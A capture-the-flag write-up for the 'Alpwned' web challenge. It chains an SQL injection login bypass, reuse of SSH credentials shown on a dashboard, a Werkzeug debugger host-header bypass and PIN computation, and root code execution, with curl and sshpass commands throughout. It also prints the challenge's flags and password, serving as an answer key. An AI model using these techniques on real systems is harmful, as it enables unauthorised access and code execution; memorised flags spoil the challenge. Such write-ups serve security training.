Alpwned - CTF Writeup
| Category: WEB | Flags: 2 (User + Root) |
Challenge: https://hackerdna.com
Contents
Reconnaissance
Nmap reveals two open ports:
- 22 - OpenSSH 10.0
- 80 - Werkzeug httpd 3.1.3 (Python 3.12.11)
The web app is a “Tech Corp” employee portal with a login page hinting guest:guest credentials.
SQL Injection
The login form is vulnerable to SQL injection. The query is built with f-strings:
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}';"
The app blocks --, /*, and union but a simple tautology bypass works:
curl -X POST http://TARGET/login \
--data-urlencode "username=admin' OR '1'='1" \
--data-urlencode "password=x"
This redirects to /dashboard with a session cookie containing role: admin.
Dashboard & SSH Credentials
The admin dashboard displays a table of internal system credentials, including an active SSH entry:
| Field | Value |
|---|---|
| User | ctf |
| Password | nVqax6z9hjYesbGAQlSceueZPO2gh5a8t5XUYGQbTz8LmaWgwm |
| Host | prod-server-01.internal (same IP) |
User Flag
sshpass -p 'nVqax6z9hjYesbGAQlSceueZPO2gh5a8t5XUYGQbTz8LmaWgwm' \
ssh ctf@TARGET 'cat /home/flag-user.txt'
User Flag: 5cb66b4a-5e82-4687-6b20-567ecb42f69a
The server is running Alpine Linux v3.22 (hence “Alpwned”).
Werkzeug Debugger RCE
The Flask app runs with debug=True, enabling the Werkzeug interactive debugger. The debugger is protected by a PIN and a host trust check.
Bypassing Host Trust
The debugger only accepts requests with Host: localhost or Host: 127.0.0.1. This is trivially bypassed by setting the header:
curl -H "Host: localhost" http://TARGET/console
Computing the PIN
The PIN is generated from:
- Public bits: username (
root), module (flask.app), app name (Flask), Flask’s app.py path - Private bits: MAC address integer (
uuid.getnode()) and machine ID (boot_id + cgroup)
# Gather from the target:
boot_id = open('/proc/sys/kernel/random/boot_id').read().strip()
# f245b383-685b-448d-8f0a-b55976f73ab8
cgroup = open('/proc/self/cgroup').readline().strip().rpartition('/')[2]
# db436debeaf04b33b6b49c844bf6f356-3088728595
machine_id = boot_id + cgroup
node = str(uuid.getnode()) # 11375925439490
Using these values, the PIN is computed: 258-593-142
Authentication & RCE
Extract the SECRET from the error page, then authenticate and execute Python code as root:
# Authenticate and get PIN cookie
curl -H "Host: localhost" \
"http://TARGET/console?__debugger__=yes&cmd=pinauth&pin=258-593-142&s=x4OYLpzbNWnZIKXo3xk1"
# Execute commands as root
curl -G "http://TARGET/console" \
-H "Host: localhost" \
-b "__wzdc30a8aa28b708a39e0ba=<hash>" \
--data-urlencode "__debugger__=yes" \
--data-urlencode "cmd=__import__('os').popen('cat /root/flag-root.txt').read()" \
--data-urlencode "frm=0" \
--data-urlencode "s=x4OYLpzbNWnZIKXo3xk1"
Root Flag
Root Flag: 4158d639-b58b-4d27-7056-1b93a2c59e63